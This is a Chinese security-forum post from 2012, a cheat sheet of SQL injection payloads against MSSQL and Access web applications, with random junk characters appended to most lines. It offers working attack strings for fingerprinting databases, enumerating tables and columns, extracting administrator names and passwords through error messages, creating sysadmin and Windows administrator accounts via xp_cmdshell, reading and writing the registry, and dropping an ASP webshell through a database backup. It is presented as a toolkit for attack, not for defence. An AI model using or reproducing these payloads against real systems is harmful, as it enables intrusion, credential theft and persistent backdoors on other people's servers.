找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1931|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 * }% m! Q0 B  i
;and 1=1 / L, n3 V/ K8 _
;and 1=2 ; C6 a% f# q; U0 H

2 J/ {& N' w; ^: c+ v1 q# G# Z5 N, M2.初步判断是否是mssql   y  _+ k: h: A" D# G* r" i' z, x' P
;and user>0 9 _3 c% K# M4 l

+ q  j- b- U8 A7 w. ~) P3.判断数据库系统 ! f6 d) K+ X- M7 ]4 i
;and (select count(*) from sysobjects)>0 mssql
6 }; f  Z2 |$ `7 U2 e;and (select count(*) from msysobjects)>0 access % n1 e3 ?+ d5 [' E7 Y+ v) a

+ k9 |% o9 ]+ R+ O4.注入参数是字符
% E3 l/ @/ t2 w' K3 H' ]* W( @- o'and [查询条件] and ''='
& f5 b0 L+ d) Z3 s7 @. w' A0 ?/ L+ F
5.搜索时没过滤参数的 0 w; m* d+ u/ D& B+ v' G
'and [查询条件] and '%25'='
5 c4 ?- \; m% b$ V. g( u" p
. I0 w- I+ }' q' [6.猜数表名
, L' F. M5 A$ y) ^0 `9 M;and (select Count(*) from [表名])>0 # f" V& I; [# d( Z- F
  X" `8 p  O/ `) r1 @
7.猜字段 4 I' A& u" U- a- @
;and (select Count(字段名) from 表名)>0
6 I1 e5 ^  ^4 R; L$ v1 v) t- m, y5 r6 w6 e# p; o, [/ T- c
8.猜字段中记录长度
. u: Q1 f  V3 x;and (select top 1 len(字段名) from 表名)>0
5 r2 P. _+ c" E: T* v2 Q: W6 T% g, i& y; e9 b7 p
9.(1)猜字段的ascii值(access) 3 ~( j: _: Y/ G" C, p2 _( J
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 + V8 e9 n; v9 R& U

: ~1 I0 B% z1 D(2)猜字段的ascii值(mssql) 7 _5 k* G  n+ {# q6 l
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
1 O, _8 g& L$ y- {7 A
0 u3 I. p1 z7 Q10.测试权限结构(mssql) % I; P! q1 d0 [7 `$ H. X
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 A, o, y, b6 j9 x2 u  D;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( v# q2 x5 K) N  K/ l/ m& o, y
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- : f* F* P7 l0 b& h" D, w/ v# _
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
+ x  T0 K& g& J* s7 j$ J3 b;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; V1 G* h) r5 A0 }: O;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
  d8 h0 I0 x0 {( A0 t" Y;and 1=(select IS_MEMBER('db_owner'));-- ( B/ n2 q% r) b: o, f

0 t4 `" s3 t0 q* m$ U) l9 A11.添加mssql和系统的帐户 7 ~( N8 Z: Q6 e- F+ i  W5 d
;exec master.dbo.sp_addlogin username;-- 4 p, ]. x5 x' g
;exec master.dbo.sp_password null,username,password;-- 0 U. |( V$ h. @6 ~4 N2 a6 Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8 |) t5 C7 X2 @2 h- G8 V
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- / z4 u4 ^+ p! N7 m+ A4 D1 Q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 }7 L+ x7 T9 |. g- f0 `2 m
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
7 P/ X+ i- g0 p! |' b9 h2 j7 e" U- W, K7 _) i! G
12.(1)遍历目录
5 v5 j* X) b! O0 z! o;create table dirs(paths varchar(100), id int) 3 ]3 G" v9 g" t4 M: M1 ?( I- p
;insert dirs exec master.dbo.xp_dirtree 'c:\' ( i6 l& Y) x. D0 z5 l2 K5 I5 D( r
;and (select top 1 paths from dirs)>0
' [/ t  |7 V1 U& i/ M+ t;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
  {) ]7 E  z/ p# d$ R0 p9 a5 P  f4 o; n! h1 H7 F
(2)遍历目录
. e, h; z' W" _# o- B;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " I7 y" R/ Y* T* M1 G2 |
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
' ^! l* }2 E/ R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" @  q8 y( K0 n* y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
0 o; F4 M2 S4 B5 O, w% ]7 D;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - c/ I; m& g; s
* P  K: d) j" `4 z
13.mssql中的存储过程
9 f$ i9 h6 H2 F5 `! v  w3 x" O8 D4 ixp_regenumvalues 注册表根键, 子键
! q  s6 Z7 F3 N;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) S/ {0 U% v* C+ a# N% D' nxp_regread 根键,子键,键值名 + o  E( j, X2 B4 `$ M' K
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
& ?3 n6 M, D, k  R+ D8 \# oxp_regwrite 根键,子键, 值名, 值类型, 值
# K# w8 H$ D/ M& o, G% f( S值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 |& w% r8 S% R( K% v& e;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 9 I4 p; n( k/ l2 |0 g& k
xp_regdeletevalue 根键,子键,值名 ! n7 e4 [  ?+ q2 b9 \- ?; x
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! P( C: W% k0 Y9 Nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 : o( T; D% }$ L: {. `+ e
4 ~( ]" _" L% k; V% ?
14.mssql的backup创建webshell 4 w+ @% ?( [2 y3 j# j
use model
* V8 `( I0 l2 J, @$ xcreate table cmd(str image);
6 Z6 f' y& }% a; n* ?) ]( ?1 U: ~4 rinsert into cmd(str) values ('<% Dim oScript %>');
8 o9 Q- W5 W. v7 p& Gbackup database model to disk='c:\l.asp';
9 q( Z- Z9 q! }4 t* h4 @' \0 ^8 j% P9 d* i' h
15.mssql内置函数 0 X9 a* I. D2 I! D2 j; A' h
;and (select @@version)>0 获得Windows的版本号
9 U5 _1 U) w# C  k6 }+ }. Z  ];and user_name()='dbo' 判断当前系统的连接用户是不是sa
) p- S# u( B' C- h7 J8 J;and (select user_name())>0 爆当前系统的连接用户 : H) O6 q) u: L. Z5 \, ]: b- C6 n
;and (select db_name())>0 得到当前连接的数据库 $ c* i9 i2 d$ w: ?/ u7 f

: B% ]# g) r5 C8 ?/ W2 J
6 f: r! v4 G  O% C* e5 L; z# a) Q) h2 A9 ]* ?- u! @8 _
MSSQL手注暴库7 Q5 G* M* i- J3 G. z. C" Y

2 l' Q6 T6 _$ A6 o' Y: K0 O: ^1.暴出当前表名和列名
" O- ?! C5 U* g8 \9 y在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
) B: N8 y$ `/ k8 h. v
; g1 Y# y+ c# Q; B: e5 k第一.爆出所有数据库名" `+ L7 c- ~; T) n- ~) s+ d8 E0 R- T
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。/ q  k+ G; {; S0 t) V0 @
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
- I0 @2 V/ k* F( ~7 ?& Q( x
# t8 e+ X/ r8 r7 `$ z3 Nand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名5 S8 |' w4 \' K6 \3 q; L

% H6 i' n% X' G2 A
# {: I1 ~% ]; m第二.爆出指定库中的所有表名
$ u; Y! X& ^: }6 D7 X5 t: V* R得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。# q! s. z% ~9 e0 R2 I' B( c
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
4 Q  r- p3 Y5 E' J: T: T% c; ?6 L: y# J# B3 ~" c7 k! |
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--+ b# U. S: c. ~! Q4 K- E: B/ d
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
; W( n: D; c, z( q# R: Y2 Dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
* M7 @- m/ t+ c" h; E% H
* w/ b9 h8 Y0 i- ]4.爆出指定表中的所有列名2 H+ d4 w8 `. `( f! N( g# r
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ( O% \# y! W" G4 Z- o
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'2 ?* {7 O: _- o6 k. |- x

: i  H0 r$ A( A+ ~. sand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名6 `& v+ D; U; g5 ?+ Q- z* Q9 S

8 W: Q" U) e7 U再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- * S2 j& c7 ]. b  x5 ^+ I" D  i
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。! O6 E3 R8 P! J& J' T

4 a9 C$ X' {; ]$ f0 i/ [0 ~6 b. T5 `. x1 f' ?& `0 W  }2 B3 e9 B5 x
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值3 B9 @( k1 b, K$ o4 x6 }

# a: K# C  T* `8 y5 N, i4 s+ rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
7 Q. v, g; n: d4 v+ h/ P) W( [
3 u1 S. A7 p" _; Q7 R" {and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
1 f, J/ b# S( r5 C4 B. h7 P6 x. s  `/ M* s, i
2 V; ]' w) Q  i
) ]$ ?9 b* [* m2 n" l
5.读取指定表中的数据  g) L% S4 ~0 S; o: o' V7 \
. \/ R3 T; T8 p; y4 R% o! g
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 U3 K. p5 O8 r

, j/ h9 d' m  g+ S( d, q; Land 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( r$ \3 Q0 o; C# B; Q
0 }/ n$ q& ~7 S/ C! N0 s+ [+ ~
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
" `# h0 U! O) r. L. W+ j: d1 h; v- Y) z- M6 H/ b0 m
! e6 \/ x& @( m! Y. z/ B- m; _
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)# I, ]# ]$ n/ p+ ~" M$ U
5 I# W3 G& d; l# j3 p$ J" P
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 m; p) m3 K- C3 Q
$ z4 i/ Z& n" ]6 s4 Z( }
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--% b& v9 @* {8 C4 _) b! K
# j; u# Z4 H3 I+ F3 S0 m
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
$ u1 f4 M- f1 p: q4 K& v6 s7 Z* n6 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表